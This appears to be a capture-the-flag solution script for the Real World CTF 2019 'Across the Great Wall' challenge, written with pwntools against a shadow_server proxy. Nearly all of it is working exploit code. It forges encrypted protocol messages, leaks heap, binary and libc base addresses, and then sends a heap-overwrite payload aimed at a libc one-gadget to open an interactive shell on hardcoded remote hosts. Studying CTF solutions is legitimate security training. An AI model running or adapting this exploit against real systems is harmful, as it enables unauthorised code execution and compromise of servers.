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September 16, 2019 17:35
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Real World CTF 2019 Quals Across the Great Wall
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#!/usr/bin/env python | |
from pwn import * | |
from Crypto.Cipher import AES | |
import struct | |
import hashlib | |
import sys | |
from socket import inet_aton | |
context(terminal=['tmux', 'splitw', '-h']) # horizontal split window | |
# context(terminal=['tmux', 'new-window']) # open new window | |
# libc = ELF('') | |
# elf = ELF('./shadow_server') | |
context(os='linux', arch='amd64') | |
context(log_level='debug') # output verbose log | |
RHOST = "54.153.22.136" | |
RPORT = 3343 | |
LHOST = "127.0.0.1" | |
LPORT = 3343 | |
l = listen(31337) | |
def section_addr(name, elf=elf): | |
return elf.get_section_by_name(name).header['sh_addr'] | |
def dbg(ss): | |
log.info("%s: 0x%x" % (ss, eval(ss))) | |
conn = None | |
opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option | |
if opt in 'rl': | |
conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) | |
elif opt == 'd': | |
gdbscript = """ | |
continue | |
""".format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) | |
conn = gdb.debug(['./shadow_server'], gdbscript=gdbscript) | |
else: | |
# conn = process(['./shadow_server']) | |
conn = process(['./shadow_server'], env={'LD_LIBRARY_PATH': './'}) | |
if opt == 'a': gdb.attach(conn, gdbscript='b* execve\nc\nc\n') | |
# exploit | |
log.info('Pwning') | |
PASSWORD = 'meiyoumima' | |
class UnitAES: | |
def __init__(self, password, token): | |
key = hashlib.sha256(password + token).digest() | |
self.key = key[0:16] | |
self.iv = key[16:32] | |
self.cipher = AES.new(self.key, AES.MODE_CBC, self.iv) | |
def encrypt(self, plain): | |
return self.cipher.encrypt(plain) | |
def decrypt(self, plain): | |
return self.cipher.decrypt(plain) | |
def create_header(password = None, timestamp = None, noise = None): | |
if password is None: | |
password = PASSWORD | |
if timestamp is None: | |
timestamp = int(time.time()) | |
if noise is None: | |
noise = os.urandom(8) | |
token = hashlib.sha256(password + struct.pack('<q', timestamp) + noise).digest()[0:16] | |
key = hashlib.sha256(password + token).digest() | |
cipher = UnitAES(password, token) | |
return cipher, token + cipher.encrypt(struct.pack('<q', timestamp) + noise) | |
def create_header2(cipher, main_version = 1, length = 1, random_len = 1, padding = None, hash_sum = None): | |
if padding is None: | |
padding = os.urandom(10) | |
if hash_sum is None: | |
hash_sum = os.urandom(32) | |
return cipher.encrypt(struct.pack('<bib', main_version, length, random_len) + padding + hash_sum) | |
def create_msg(data): | |
timestamp = int(time.time()) | |
noise = os.urandom(8) | |
token = hashlib.sha256(PASSWORD + struct.pack('<q', timestamp) + noise).digest()[0:16] | |
key = hashlib.sha256(PASSWORD + token).digest() | |
cipher = UnitAES(PASSWORD, token) | |
padding = os.urandom(10) | |
hash_sum = b'\x00' * 32 | |
random_len = 0 | |
main_version = 1 | |
pad_len = 16 - len(data) % 16 | |
length = 80 + len(data) + pad_len | |
data += chr(pad_len) * pad_len | |
hash_sum = hashlib.sha256(token + struct.pack('<q', timestamp) + noise + struct.pack('<bib', main_version, length, random_len) + padding + hash_sum + data).digest() | |
return token + cipher.encrypt(struct.pack('<q', timestamp) + noise + struct.pack('<bib', main_version, length, random_len) + padding + hash_sum + data) | |
def recv_msg(sock): | |
token = sock.recv(16) | |
cipher = UnitAES(PASSWORD, token) | |
data = cipher.decrypt(sock.recv(64)) | |
length = struct.unpack('<i', data[17:21])[0] | |
random_length = struct.unpack('<b', data[21])[0] | |
ret = cipher.decrypt(sock.recv(length - 80 - random_length)) | |
sock.recv(random_length) | |
return ret | |
def create_msg2(data, random = b'', random_len = 0): | |
timestamp = int(time.time()) | |
noise = os.urandom(8) | |
token = hashlib.sha256(PASSWORD + struct.pack('<q', timestamp) + noise).digest()[0:16] | |
key = hashlib.sha256(PASSWORD + token).digest() | |
cipher = UnitAES(PASSWORD, token) | |
padding = os.urandom(10) | |
hash_sum = b'\x00' * 32 | |
main_version = 1 | |
pad_len = 16 - len(data) % 16 | |
length = 80 + len(data) + pad_len + random_len | |
data += chr(pad_len) * pad_len | |
data = data[0:-1] + b'\x80' | |
hash_sum = hashlib.sha256(token + struct.pack('<q', timestamp) + noise + struct.pack('<bib', main_version, length, random_len) + padding + hash_sum + data + random).digest() | |
return token + cipher.encrypt(struct.pack('<q', timestamp) + noise + struct.pack('<bib', main_version, length, random_len) + padding + hash_sum + data) + random | |
server_ip = "54.183.93.132" | |
server_ip = "127.0.0.1" | |
server_port = 31337 | |
conn.recvuntil('server bind at ') | |
port = int(conn.recvline()) | |
dbg('port') | |
time.sleep(0.1) | |
if opt in 'ra': | |
cl4 = remote(*{'r': (RHOST, port), 'a': (LHOST, port)}[opt]) | |
else: | |
cl4 = remote(LHOST, port) | |
cipher, header = create_header() | |
header2 = create_header2(cipher, 1, 79, 0) | |
cl4.write(header+header2) | |
if opt in 'ra': | |
cl2 = remote(*{'r': (RHOST, port), 'a': (LHOST, port)}[opt]) | |
else: | |
cl2 = remote(LHOST, port) | |
cipher, header = create_header() | |
header2 = create_header2(cipher, 1, 79, 0) | |
cl2.write(header+header2) | |
cl2.close() | |
time.sleep(0.1) | |
if opt in 'ra': | |
cl2 = remote(*{'r': (RHOST, port), 'a': (LHOST, port)}[opt]) | |
else: | |
cl2 = remote(LHOST, port) | |
cipher, header = create_header() | |
header2 = create_header2(cipher, 1, 79, 0) | |
cl2.write(header+header2) | |
time.sleep(1) | |
if opt in 'ra': | |
cl = remote(*{'r': (RHOST, port), 'a': (LHOST, port)}[opt]) | |
else: | |
cl = remote(LHOST, port) | |
cl.write(create_msg(b'\x01\x01\x01' + inet_aton(server_ip) + struct.pack('>h', server_port))) | |
recv_msg(cl) | |
for i in range(4): | |
cl.write(create_msg2('aaaa')) | |
time.sleep(0.1) | |
buf = '' | |
for i in range(4): | |
buf += l.recv(0x80) | |
time.sleep(0.1) | |
idx = buf.find('\x20') | |
print idx | |
print repr(buf[idx:idx+8]) | |
bin_base = u64(buf[idx:idx+8]) - 0x7820 | |
heap_base = u64(buf[idx-0x10:idx+8-0x10]) - 0x0 | |
if opt in 'ra': | |
cl3 = remote(*{'r': (RHOST, port), 'a': (LHOST, port)}[opt]) | |
else: | |
cl3 = remote(LHOST, port) | |
cipher, header = create_header() | |
header2 = create_header2(cipher, 1, 79, 0) | |
cl3.write(header+header2) | |
cl3.close() | |
for i in range(4): | |
cl.write(create_msg2('aaaa')) | |
time.sleep(0.1) | |
buf = '' | |
for i in range(4): | |
buf += l.recv(0x80) | |
time.sleep(0.1) | |
idx = buf.find('\x70') | |
print idx | |
print repr(buf[idx:idx+8]) | |
libc_base = u64(buf[idx:idx+8]) - 0x3ec470 | |
heap_base -= 0x1a188 - 0x8000 | |
dbg('libc_base') | |
dbg('bin_base') | |
dbg('heap_base') | |
time.sleep(0.1) | |
raw_input() | |
try: | |
payload = '\x00'*0x1290 + p64(heap_base + 0x136e0)*2 + p64(libc_base + 0x4f322)*2 | |
payload += p64(heap_base + 0x12c0) + 'a'*0x10 | |
cl4.write(payload) | |
time.sleep(0.1) | |
cl.close() | |
except: | |
print 'EOF' | |
pass | |
conn.interactive() |
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